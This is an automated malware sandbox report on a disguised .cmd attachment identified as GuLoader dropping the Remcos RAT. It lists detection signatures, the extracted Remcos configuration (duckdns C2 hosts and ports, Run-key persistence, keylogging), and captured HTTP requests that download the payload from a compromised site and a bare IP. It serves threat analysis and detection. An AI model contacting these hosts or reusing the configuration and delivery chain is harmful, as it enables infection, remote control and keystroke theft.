Windows Analysis Report
Teklif talebi BAKVENTA-BAKUUsurpationens.cmd

Overview

General Information

Sample name:	Teklif talebi BAKVENTA-BAKUUsurpationens.cmd
Analysis ID:	1435423
MD5:	69288c7e16a8ce2177346b2c62231603
SHA1:	87f0dad6634d4e6bedad3b505adb6c509fdc5f03
SHA256:	b523b20d9df02eaf3cdbb3babbc50ac7cea1889c7a3f561d586b001c02615f8a
Tags:	cmd
Infos:

Detection

GuLoader, Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Remcos RAT

C2 URLs / IPs found in malware configuration

Found suspicious powershell code related to unpacking or dynamic code loading

Installs a global keyboard hook

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Suspicious powershell command line found

Uses dynamic DNS services

Very long command line found

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: Suspicious Powershell In Registry Run Keys

Sleep loop found (likely to delay execution)

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/ https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Signatures

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://geoplugin.net/json.gp	URL Reputation: Label: phishing
Source: jgbours284hawara01.duckdns.org	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000000F.00000002.2885259023.0000000005996000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Remcos {"Host:Port:Password": "jgbours284hawara01.duckdns.org:3050:0jgbours284hawara01.duckdns.org:3051:1jgbours284hawara02.duckdns.org:3050:0", "Assigned name": "Protected", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Enable", "Hide file": "Disable", "Mutex": "jnbcourg-8XH6PE", "Keylog flag": "1", "Keylog path": "AppData", "Keylog file": "mvourhjs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Multi AV Scanner detection for domain / URL

Source: jgbours284hawara01.duckdns.org	Virustotal: Detection: 15%	Perma Link
Source: www.duelvalenza.it	Virustotal: Detection: 5%	Perma Link
Source: http://www.duelvalenza.it/	Virustotal: Detection: 5%	Perma Link
Source: jgbours284hawara01.duckdns.org	Virustotal: Detection: 15%	Perma Link
Source: http://87.121.105.163	Virustotal: Detection: 21%	Perma Link
Source: http://www.duelvalenza.it/wnnSAFMWPwDXGy95.bin/	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for submitted file

Source: Teklif talebi BAKVENTA-BAKUUsurpationens.cmd

Virustotal: Detection: 9%

Perma Link

Yara detected Remcos RAT

Source: Yara match	File source: 0000000F.00000002.2885259023.0000000005996000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wab.exe PID: 8872, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\mvourhjs.dat, type: DROPPED

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 46.254.34.12:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49750 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2306982846.0000000007A69000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000005.00000002.2275976188.00000000035BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2306982846.0000000007B15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb source: powershell.exe, 00000005.00000002.2306982846.0000000007ABE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdbpX) source: powershell.exe, 00000005.00000002.2306982846.0000000007B45000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb'$ source: powershell.exe, 00000005.00000002.2306982846.0000000007ABE000.00000004.00000020.00020000.00000000.sdmp

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: jgbours284hawara01.duckdns.org

Uses dynamic DNS services

Source: unknown	DNS query: name: jgbours284hawara01.duckdns.org
Source: unknown	DNS query: name: jgbours284hawara02.duckdns.org

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.4:49753 -> 45.88.90.110:3050

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 45.88.90.110 45.88.90.110
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 87.121.105.163 87.121.105.163

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: LVLT-10753US LVLT-10753US

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=31Uvm8ZtBDtgrS+&MD=Cvo7KdgH HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /wnnSAFMWPwDXGy95.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: duelvalenza.itCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=31Uvm8ZtBDtgrS+&MD=Cvo7KdgH HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /Terminaljob.toc HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.163Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wnnSAFMWPwDXGy95.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: www.duelvalenza.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wnnSAFMWPwDXGy95.bin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: www.duelvalenza.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wnnSAFMWPwDXGy95.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: duelvalenza.it
Source: global traffic	DNS traffic detected: DNS query: www.duelvalenza.it
Source: global traffic	DNS traffic detected: DNS query: jgbours284hawara01.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: jgbours284hawara02.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 02 May 2024 15:21:54 GMTServer: ApacheExpires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: post-check=0, pre-check=0Pragma: no-cacheSet-Cookie: PHPSESSID=d979cfhj3obh8us97avdsfs160; path=/Set-Cookie: FrontSession=3c980817fa90cc22daee2c4e083b8971; expires=Thu, 02-May-2024 19:21:54 GMT; Max-Age=14400; path=/Set-Cookie: FrontSession=7d75569e99f6cec2e2439fa4dd313439; expires=Thu, 02-May-2024 19:21:54 GMT; Max-Age=14400; path=/Last-Modified: Thu, 02 May 2024 15:21:54 GMTVary: Accept-EncodingCache-Control: private, must-revalidateKeep-Alive: timeout=1, max=99Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html;charset=UTF-8Data Raw: 33 30 34 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 20 63 6c 61 73 73 3d 64 6f 63 75 6d 65 6e 74 2d 6c 6f 61 64 69 6e 67 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 20 2f 3e 3c 6d 65 74 61 20 63 6c 61 73 73 3d 76 69 65 77 70 6f 72 74 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 64 75 65 6c 76 61 6c 65 6e 7a 61 2e 69 74 2f 77 6e 6e 53 41 46 4d 57 50 77 44 58 47 79 39 35 2e 62 69 6e 2f 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 65 6e 5f 45 4e 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 Data Ascii: 3045<!DOCTYPE html><html lang=en class=document-loading><head><meta charset=UTF-8 /><meta class=viewport name=viewport content="width=device-width, initial-scale=1.0" /><meta name=format-detection content="telephone=no" /><meta http-equiv=X-UA-Compatible content="IE=edge" /><title>Page not found</title><meta name=description content="" /><meta property="og:title" content="Page not found" /><meta property="og:description" content="" /><meta property="og:url" content="http://www.duelvalenza.it/wnnSAFMWPwDXGy95.bin/" /><meta pro

Source: powershell.exe, 00000002.00000002.2384493968.00000210AECAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2384493968.00000210AD0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163
Source: powershell.exe, 00000002.00000002.2384493968.00000210ACEBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/Terminaljob.tocP
Source: powershell.exe, 00000005.00000002.2276376367.000000000520B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/Terminaljob.tocXRul
Source: wab.exe, 0000000F.00000002.2885259023.0000000005959000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.2895270000.0000000021010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/wnnSAFMWPwDXGy95.bin
Source: powershell.exe, 00000002.00000002.2384493968.00000210AECAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.H
Source: powershell.exe, 00000005.00000002.2306982846.0000000007A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microW
Source: svchost.exe, 00000008.00000002.2883770137.000002087C800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000002.2883966985.000002087C887000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2884761464.000002087CB90000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.2445853182.000002087CA22000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2883326968.0000020877D02000.00000004.00000020.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYTBmQUFZUHRkSkgtb01u
Source: svchost.exe, 00000008.00000003.1828316936.000002087CA38000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1828316936.000002087CA38000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1828316936.000002087CA38000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1828316936.000002087CA6D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000008.00000002.2883966985.000002087C89A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: svchost.exe, 00000008.00000002.2883966985.000002087C887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYTBmQUFZUHRkSkgtb
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: wab.exe, 0000000F.00000002.2885259023.00000000059DE000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.2885259023.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: wab.exe, 0000000F.00000002.2885259023.00000000059DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp0
Source: wab.exe, 0000000F.00000002.2885259023.00000000059DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp4
Source: wab.exe, 0000000F.00000003.2318747084.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.2885259023.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp7
Source: wab.exe, 0000000F.00000002.2885259023.00000000059B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp938=
Source: wab.exe, 0000000F.00000002.2885259023.00000000059B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpH=
Source: wab.exe, 0000000F.00000002.2885259023.00000000059DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpg
Source: wab.exe, 0000000F.00000002.2885259023.00000000059DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpl
Source: wab.exe, 0000000F.00000003.2318747084.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.2885259023.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/k
Source: powershell.exe, 00000002.00000002.2497877400.00000210BCD05000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2304485459.0000000006292000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2304485459.000000000611D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2276376367.000000000520B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2306982846.0000000007A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2384493968.00000210ACC91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2276376367.00000000050B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2276376367.000000000520B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2306982846.0000000007A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: wab.exe, 0000000F.00000003.2208059166.00000000059CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.duelvalenza.it/
Source: wab.exe, 0000000F.00000003.2220389190.00000000059CD000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.2208059166.00000000059CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.duelvalenza.it/eU
Source: wab.exe, 0000000F.00000003.2208059166.00000000059CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.duelvalenza.it/nkF
Source: wab.exe, 0000000F.00000003.2208059166.00000000059CD000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000003.2220370209.0000000005A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.duelvalenza.it/wnnSAFMWPwDXGy95.bin
Source: wab.exe, 0000000F.00000003.2220389190.00000000059CD000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.2885259023.0000000005959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.duelvalenza.it/wnnSAFMWPwDXGy95.bin/
Source: wab.exe, 0000000F.00000002.2885259023.0000000005959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.duelvalenza.it/wnnSAFMWPwDXGy95.bin3
Source: wab.exe, 0000000F.00000003.2208059166.0000000005A0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.duelvalenza.it/wnnSAFMWPwDXGy95.binI
Source: wab.exe, 0000000F.00000002.2885259023.0000000005959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.duelvalenza.it/wnnSAFMWPwDXGy95.binM
Source: powershell.exe, 00000002.00000002.2384493968.00000210ACC91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.2276376367.00000000050B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000005.00000002.2304485459.000000000611D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2304485459.000000000611D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2304485459.000000000611D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: wab.exe, 0000000F.00000002.2885259023.0000000005996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duelvalenza.it/
Source: wab.exe, 0000000F.00000002.2885259023.0000000005959000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.2895270000.0000000021010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://duelvalenza.it/wnnSAFMWPwDXGy95.bin
Source: wab.exe, 0000000F.00000002.2885259023.0000000005959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duelvalenza.it/wnnSAFMWPwDXGy95.binKJ
Source: wab.exe, 0000000F.00000002.2895270000.0000000021010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://duelvalenza.it/wnnSAFMWPwDXGy95.binhttp://87.121.105.163/wnnSAFMWPwDXGy95.bin
Source: svchost.exe, 00000008.00000003.1828316936.000002087CAE2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1828316936.000002087CAE2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
